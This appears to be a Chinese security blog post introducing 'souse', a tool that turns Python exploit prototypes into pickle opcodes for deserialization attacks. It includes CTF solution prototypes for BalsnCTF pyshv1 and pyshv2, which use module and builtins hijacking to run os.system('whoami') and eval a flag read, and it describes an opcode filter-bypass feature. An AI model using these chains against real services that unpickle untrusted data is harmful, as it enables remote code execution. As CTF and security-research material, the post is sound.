🍊 souse — Python 反序列化攻击辅助工具
这是橘子杀手的第 45 篇文章
题图摄于:杭州 · 茅家埠
☁️ 介绍
上一篇介绍了 Python 反序列化的知识点。其实大家在打 ctf 或者是挖洞的时候,遇到这种漏洞经常会用 __reduce__
来构造。但是如果利用链比较复杂,__reduce__
是不能用的,只能手动构造
可是这都 2022 年了,谁还手搓 opcode? 如果有一个工具能实现从 Python 代码到 opcode 的翻译,岂不是美滋滋?
这就是 souse 的功能之一:自动化构造 opcode。
☁️ 原理
其实 souse 的实现并不复杂。
既然要翻译我们就需要熟悉编译原理,要不怎么构造语法树呢?自己搞语法分析还是太麻烦了,Python 标准库 ast 直接可以用于解析 Python 文件,变成一个语法树。继承 ast.NodeVisitor
之后呢,就可以方便地处理各种语句,例如 def visit_Assign
,这是用来处理赋值语句的、def visit_Import
这是用来处理 import
语句的...
其中比较复杂的是赋值语句(需要处理左值右值)和属性的获取/赋值。各位看代码就知道了,我就不啰嗦了。
搞定常用的几种语法之后,我们每次在进行反序列化攻击的时候,只需要写好 Python 代码形式的利用原型,就可以让 souse 帮我们自动翻译了
☁️ 使用示例
https://github.com/Macr0phag3/souse
有这些参数:
-
--check
: 生成 opcode 之后会执行 opcode,用于检查利用是否成功 -
--no-optimize
: 不需要精简 opcode -
-f FILENAME
: 指定 Python 代码原型 -
--run-test
: 用于测试 souse 是否正确翻译(仅开发者会用到) -
-p BYPASS
: 指定过滤规则,souse 会自动帮你 bypass
接下来,利用《SecMap - 反序列化(Python)》中的课后题,以及我自己的一些 test 例子,来一起看下如何自动化地搓出 opcode
🌧 2019 BalsnCTF pyshv1
这道题根据思路,我们可以写出 Python 代码形式的利用原型:
import sys
poc = sys.modules
poc["sys"] = poc
import sys
poc["sys"] = sys.get("os")
import sys
sys.system("whoami")
然后用 souse 转一下就可以获得最终的 payload:
非常的银杏化。
🌧 2019 BalsnCTF pyshv2
根据思路,我们写出 Python 利用原型:
from structs import __dict__, __builtins__, __getattribute__
__dict__["structs"] = __builtins__
__builtins__['__import__'] = __getattribute__
from structs import get
a = get("eval")
a('print(open("./flag").read())')
自动翻译:
🌧 其他复杂示例
对于比较复杂的原型,souse 也可以自动转换
combo-2.py
from builtins import getattr, dict, globals
get = getattr(dict, 'get')
g = globals()
__builtins__ = get(g, '__builtins__')
f = getattr(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'setattr')
combo-3.py
from math import sin, cos, tan
k = {
sin(cos(tan(cos(sin(tan(1)))))): {
sin(cos(sin(cos(sin(1))))): cos(sin(cos(sin(cos(1)))))
}
}
这些复杂的示例如果用手搓,那可真够搓一搓的
🌧 bypass 示例
bypass 的手段不是很全,因为目前我还没遇到非得 bypass 的情况,所以这个功能就当写着玩。
首先我们需要写一个文件,来代表过滤规则。type
代表是白名单(white)还是黑名单(black)。rules
里面的键都是 opcode,后面是 opcode 带的值(如果是统配符 *,其实就相当于禁止使用这个 opcode)。例如:
这个文件说明,opcode 禁止使用 V
、I01
、I100
。
在这个限制下,souse 会寻找其他 opcode 来代替:
从而实现 bypass。
当然,bypass 的手段还是很多的,但是我没动力继续写了,因为确实没遇到过这么严格的过滤,如果有遇到我再写吧
🌧 无法处理的情况
当然,souse 也有一些无法处理的情况:
from sys import modules
modules.get("os").system("whoami")
在这些情况下,我们需要利用反序列化攻击的知识点,把 Python 原型代码拆成功能等价的简单代码,再用 souse 翻译即可。
☁️ 结尾
有了 souse 之后,我们只需要关心如何写出正确的 Python 原型代码即可。这个原型代码是可以直接运行的,所以非常方便我们测试 payload
开头说到,这个功能是 souse 的功能之一,那 souse 后面还打算加入哪些功能呢?我准备把 souse 变成 flask 的一个攻击辅助工具,新增一下子属性递归(用于辅助沙盒逃逸)、session 伪造(攻击 flask 的常见手法)、flask SSTI bypass 等等
最近我的状态就和中丐股一样
一直下滑滑滑滑滑
下一篇应该是 SSTI
我在纠结要咋发
一篇一篇发有点水数量的嫌疑
不过管他呢
原文始发于微信公众号(橘子杀手):souse — Python 反序列化攻击辅助工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论